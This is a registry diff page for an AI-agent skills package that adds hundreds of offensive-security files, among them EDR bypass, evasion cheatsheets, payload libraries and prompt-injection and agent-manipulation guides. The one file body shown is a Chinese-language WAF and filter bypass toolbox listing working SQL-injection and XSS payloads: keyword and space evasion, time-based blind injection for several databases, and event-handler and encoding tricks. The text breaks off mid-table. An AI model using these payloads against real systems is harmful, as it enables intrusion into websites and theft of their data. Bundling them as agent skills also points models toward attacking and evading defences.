opencode-skills-collection 4.0.42 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +49 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/lore/SKILL.md +104 -298
- package/bundled-skills/lore/references/audit-template.md +21 -4
- package/bundled-skills/lore/references/compatibility.md +51 -121
- package/bundled-skills/lore/references/config.md +22 -23
- package/bundled-skills/lore/references/entry-format.md +33 -3
- package/bundled-skills/lore/references/history-command.md +98 -2
- package/bundled-skills/lore/references/platform-mirrors.md +45 -16
- package/bundled-skills/lore/references/stale-new-markers.md +10 -8
- package/bundled-skills/lore/references/summary-template.md +8 -1
- package/bundled-skills/lore/references/workflows.md +192 -0
- package/bundled-skills/lore/scripts/README.md +14 -13
- package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
- package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
- package/bundled-skills/lore/scripts/find_stale.py +68 -16
- package/bundled-skills/lore/scripts/history.py +235 -23
- package/bundled-skills/lore/scripts/id_hash.py +7 -4
- package/bundled-skills/lore/scripts/list_entries.py +82 -13
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/poka-yoke/SKILL.md +172 -0
- package/bundled-skills/project-state-governor/SKILL.md +1 -1
- package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
- package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
- package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1281 -3
- package/bundled-skills/lore/README.md +0 -386
- package/bundled-skills/lore/README.zh-CN.md +0 -386
- package/bundled-skills/lore/WORKFLOWS.md +0 -216
- package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
|
@@ -0,0 +1,357 @@
|
|
|
1
|
+
# 通用绕过工具箱
|
|
2
|
+
|
|
3
|
+
> 综合改写自 `core/bypass_strategies.md` + 各 wooyun playbook 的 bypass 章节
|
|
4
|
+
> 视角:黑盒,被 WAF / 过滤器 / 业务校验拦了,怎么继续
|
|
5
|
+
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## 1. 绕过的本质
|
|
9
|
+
|
|
10
|
+
```
|
|
11
|
+
绕过 = 解析差异 + 边界 corner case + 防护盲区
|
|
12
|
+
|
|
13
|
+
每次被拦时问自己:
|
|
14
|
+
Q1. 防护组件和后端的解析是否一致?(前置 WAF vs Tomcat、CDN vs 源站)
|
|
15
|
+
Q2. 防护是否覆盖所有 corner case?(双编码、混合 case、长度溢出)
|
|
16
|
+
Q3. 防护是否覆盖所有入口?(Header、Cookie、HPP、其他动词)
|
|
17
|
+
```
|
|
18
|
+
|
|
19
|
+
通用决策树:
|
|
20
|
+
|
|
21
|
+
```
|
|
22
|
+
Payload 被拦
|
|
23
|
+
├─ 看返回是 WAF?应用?还是源站?
|
|
24
|
+
│ ├─ WAF 拦 → 协议层绕过(HPP / Chunked / 大小写 / Content-Type)
|
|
25
|
+
│ └─ 应用拦 → 编码层 / 语义层(双写、注释、等价函数)
|
|
26
|
+
├─ 看是黑名单还是白名单
|
|
27
|
+
│ ├─ 黑名单 → 找漏掉的关键字 / 同义词
|
|
28
|
+
│ └─ 白名单 → 找白名单允许的危险用法
|
|
29
|
+
└─ 看是输入过滤还是输出编码
|
|
30
|
+
├─ 输入过滤 → 多重编码 / 二次注入
|
|
31
|
+
└─ 输出编码 → 上下文逃逸(HTML→JS、URL→JS)
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## 2. SQLi 绕过表(分维度)
|
|
37
|
+
|
|
38
|
+
### 2.1 关键字过滤
|
|
39
|
+
| 技巧 | Payload | 适用 |
|
|
40
|
+
|------|---------|------|
|
|
41
|
+
| 大小写 | `UnIoN SeLeCt` | 黑名单纯 lower 检测 |
|
|
42
|
+
| 双写 | `UNunionION SELselectECT` | 一次替换型过滤器 |
|
|
43
|
+
| 注释插入 | `un/**/ion sel/**/ect` | 空白符过滤 |
|
|
44
|
+
| MySQL 内联注释 | `/*!50000union*//*!50000select*/` | 经典 WooYun 案例 |
|
|
45
|
+
| 同义词 | `\|\|` 代 `OR`,`&&` 代 `AND` | 关键字 OR/AND 过滤 |
|
|
46
|
+
| 等号替换 | `LIKE` / `REGEXP` / `IN(1)` / `BETWEEN` | `=` 过滤 |
|
|
47
|
+
| 函数等价 | `mid()`/`substr()`/`substring()`/`left()` | 子串函数过滤 |
|
|
48
|
+
|
|
49
|
+
### 2.2 空格过滤
|
|
50
|
+
```
|
|
51
|
+
/**/ %09(Tab) %0a(LF) %0d(CR) %0b %0c
|
|
52
|
+
括号嵌套:select(user)from(dual)
|
|
53
|
+
反引号(MySQL):`select`user`from`
|
|
54
|
+
加号(URL 参数位):select+user+from
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### 2.3 引号绕过
|
|
58
|
+
```
|
|
59
|
+
0x61646D696E (hex,'admin')
|
|
60
|
+
char(97,100,109,105,110)
|
|
61
|
+
%df%27 (GBK 宽字节)
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
### 2.4 数字型注入(无需引号)
|
|
65
|
+
```
|
|
66
|
+
id=1 AND 1=1
|
|
67
|
+
id=1 AND sleep(5)
|
|
68
|
+
id=1 AND IF(SUBSTRING(user(),1,1)='r',sleep(5),0)
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### 2.5 时间盲注的双层延时(绕过 sleep 关键字)
|
|
72
|
+
```
|
|
73
|
+
id=(select(2)from(select(sleep(8)))v) # WooYun-2015-0114228
|
|
74
|
+
id=1 AND (SELECT (CASE WHEN (1=1) THEN SLEEP(10) ELSE 1 END))
|
|
75
|
+
id=1 AND dbms_pipe.receive_message('a',5)=1 # Oracle
|
|
76
|
+
id=1; WAITFOR DELAY '0:0:5'-- # MSSQL
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## 3. XSS 绕过表
|
|
82
|
+
|
|
83
|
+
### 3.1 标签过滤
|
|
84
|
+
```
|
|
85
|
+
<ScRiPt> <script/x> <script\n> <script\t>
|
|
86
|
+
<svg/onload=alert(1)>
|
|
87
|
+
<img src=x onerror=alert(1)>
|
|
88
|
+
<details open ontoggle=alert(1)>
|
|
89
|
+
<input autofocus onfocus=alert(1)>
|
|
90
|
+
<marquee onstart=alert(1)>
|
|
91
|
+
<video><source onerror=alert(1)>
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
### 3.2 事件库(按罕见度,越往下越能打 WAF)
|
|
95
|
+
```
|
|
96
|
+
onerror onload onclick onmouseover # 已被多数 WAF 收录
|
|
97
|
+
onfocus onblur oninput onchange autofocus # 中等
|
|
98
|
+
onanimationend ontransitionend ontoggle ontouchstart
|
|
99
|
+
onpointerenter oncanplay onauxclick onbeforeprint # 罕见
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### 3.3 关键字 / 括号绕过
|
|
103
|
+
```
|
|
104
|
+
alert(1) # Unicode
|
|
105
|
+
eval('al'+'ert(1)') # 拼接
|
|
106
|
+
Function('alert(1)')() # 构造器
|
|
107
|
+
window['al'+'ert'](1)
|
|
108
|
+
String.fromCharCode(97,108,101,114,116,40,49,41)
|
|
109
|
+
alert`1` # 模板字符串绕括号
|
|
110
|
+
throw onerror=alert,1
|
|
111
|
+
location='javascript:alert(1)'
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
### 3.4 编码层(按上下文)
|
|
115
|
+
| 上下文 | 编码 | 示例 |
|
|
116
|
+
|--------|------|------|
|
|
117
|
+
| HTML | 实体 | `<script>alert(1)</script>` |
|
|
118
|
+
| HTML | 16 进制实体 | `<script>` |
|
|
119
|
+
| JS 字符串 | Unicode | `<iframe/onload=alert(1)>` |
|
|
120
|
+
| URL | data: + base64 | `data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` |
|
|
121
|
+
| CSS(IE) | 16 进制 | `xss:\65\78\70\72\65\73\73\69\6f\6e(1)` |
|
|
122
|
+
|
|
123
|
+
### 3.5 上下文逃逸快表
|
|
124
|
+
| 输出位置 | 闭合 | Payload |
|
|
125
|
+
|---------|------|---------|
|
|
126
|
+
